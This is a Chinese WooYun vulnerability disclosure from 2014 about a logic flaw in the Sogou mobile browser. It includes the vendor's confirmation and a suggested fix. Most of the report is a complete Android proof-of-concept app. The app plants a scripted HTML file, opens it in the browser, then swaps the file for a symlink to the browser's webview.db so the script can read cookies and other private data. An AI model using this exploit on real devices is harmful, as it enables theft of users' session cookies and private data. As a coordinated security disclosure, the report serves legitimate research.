当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061560

漏洞标题：搜狗手机浏览器逻辑缺陷可获取隐私信息

相关厂商：搜狗

漏洞作者： 路人甲

提交时间：2014-05-20 11:14

修复时间：2014-08-18 11:16

公开时间：2014-08-18 11:16

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-20： 细节已通知厂商并且等待厂商处理中
2014-05-20： 厂商已经确认，细节仅向厂商公开
2014-05-23： 细节向第三方安全合作伙伴开放
2014-07-14： 细节向核心白帽子及相关领域专家公开
2014-07-24： 细节向普通白帽子公开
2014-08-03： 细节向实习白帽子公开
2014-08-18： 细节向公众公开

简要描述：

搜狗手机浏览器逻辑缺陷可获取隐私信息

详细说明：

搜狗手机浏览器在file域下存在逻辑缺陷，导致可以用符号链接绕过同源策略，可以获取用户cookie等隐私信息等。

漏洞证明：

Screenshot_2014-05-14-14-29-27.png

import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
public class MainActivity extends Activity {
    public final static String MY_PKG =
        "com.example.testsougou";
    public final static String MY_TMP_DIR =
        "/data/data/" + MY_PKG + "/tmp/";
    
    public final static String TARGET_PKG =
            "sogou.mobile.explorer";
    public final static String TARGET_FILE_PATH =
            "/data/data/" + TARGET_PKG + "/databases/webview.db";
    
    public final static String HTML =         
    		"<body>" +       
            "<u>Wait a few seconds.</u>" +         
    		"<script>" +         
            "var d = document;" +         
    		"function doitjs() {" +         
            "  var xhr = new XMLHttpRequest;" +         
    		"  xhr.onload = function() {" +         
            "    var txt = xhr.responseText;" +         
    		"    d.body.appendChild(d.createTextNode(txt));" +         
            "    alert(txt);" +         "  };" +         
    		"  xhr.open('GET', d.URL);" +         
            "  xhr.send(null);" +         
    		"}" +         
            "setTimeout(doitjs, 8000);" +         
    		"</script>" +         
            "</body>"; 
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        doit();
    }
    public void doit() {
    	 String HTML_PATH =
    	        MY_TMP_DIR + "A" + Math.random() + ".html";
        try {
            // Create a malicious HTML
            cmdexec("mkdir " + MY_TMP_DIR);
            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
            cmdexec("chmod -R 777 " + MY_TMP_DIR);
            Thread.sleep(1000);
            // Force Chrome to load the malicious HTML
            invokeChrome("file://" + HTML_PATH);
            Thread.sleep(4000);
            // Replace the HTML with a symlink to Chrome's Cookie file
            cmdexec("rm " + HTML_PATH);
            cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
        }
        catch (Exception e) {}
    }
    public void invokeChrome(String url) {
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        intent.setClassName(TARGET_PKG, "sogou.mobile.explorer.BrowserActivity");
        startActivity(intent);
    }
    public void cmdexec(String cmd) {
        try {
            String[] tmp = new String[] {"/system/bin/sh", "-c", cmd};
            Runtime.getRuntime().exec(tmp);
        }
        catch (Exception e) {}
    }
}


修复方案：

对file域下符号链接进行限制

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-05-20 14:07

厂商回复：

收到，感谢支持，欢迎到SGSRC提交漏洞！

最新状态：

暂无

漏洞评价：

评论